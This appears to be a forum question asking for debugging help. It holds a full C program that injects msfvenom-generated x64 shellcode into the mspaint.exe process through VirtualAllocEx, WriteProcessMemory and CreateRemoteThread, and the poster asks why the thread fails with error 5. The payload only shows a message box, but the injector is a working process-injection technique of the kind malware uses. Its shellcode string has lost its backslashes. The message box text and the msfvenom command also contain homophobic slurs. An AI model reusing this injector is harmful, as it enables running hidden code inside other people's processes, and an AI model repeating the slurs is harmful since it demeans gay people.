#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>
int main(int argc, char **argv){
unsigned char shellcode[] =
"xfcx48x81xe4xf0xffxffxffxe8xd0x00x00x00x41"
"x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60"
"x3ex48x8bx52x18x3ex48x8bx52x20x3ex48x8bx72"
"x50x3ex48x0fxb7x4ax4ax4dx31xc9x48x31xc0xac"
"x3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2"
"xedx52x41x51x3ex48x8bx52x20x3ex8bx42x3cx48"
"x01xd0x3ex8bx80x88x00x00x00x48x85xc0x74x6f"
"x48x01xd0x50x3ex8bx48x18x3ex44x8bx40x20x49"
"x01xd0xe3x5cx48xffxc9x3ex41x8bx34x88x48x01"
"xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01"
"xc1x38xe0x75xf1x3ex4cx03x4cx24x08x45x39xd1"
"x75xd6x58x3ex44x8bx40x24x49x01xd0x66x3ex41"
"x8bx0cx48x3ex44x8bx40x1cx49x01xd0x3ex41x8b"
"x04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58"
"x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41"
"x59x5ax3ex48x8bx12xe9x49xffxffxffx5dx3ex48"
"x8dx8dx1ax01x00x00x41xbax4cx77x26x07xffxd5"
"x49xc7xc1x00x00x00x00x3ex48x8dx95x0ex01x00"
"x00x3ex4cx8dx85x16x01x00x00x48x31xc9x41xba"
"x45x83x56x07xffxd5x48x31xc9x41xbaxf0xb5xa2"
"x56xffxd5x6dx61x72x69x63x6fx6ex00x47x61x79"
"x00x75x73x65x72x33x32x2ex64x6cx6cx00";
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &pe32);
do {
if (lstrcmp(pe32.szExeFile, TEXT("mspaint.exe")) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
LPVOID allocated_mem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
if (allocated_mem == NULL){
printf("Memory allocation failed: %un", GetLastError());
return 1;
}
printf("Memory page allocated at: 0x%pn", allocated_mem);
WriteProcessMemory(hProcess, allocated_mem, shellcode, sizeof(shellcode), NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocated_mem, NULL, 0, NULL);
if (hThread == NULL){
printf("Failed to obtain handle to process: %un", GetLastError());
return 1;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hThread, allocated_mem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
break;
}
} while(Process32Next(snapshot, &pe32));
return 0;
}
I am trying to inject shellcode that contains a messagebox into mspaint.exe process. The shellcode is propperly writed in the process memmory but it is not executing and I do not know why.
I am using this command to generate the code msfvenom -p windows/x64/messagebox TEXT=”maricon” TITLE=”Gay” -f c -a x64.
I am executing it in a Windows machine. And GetLastError() is returning 5.
The shellcode is suppose to generate a messagebox.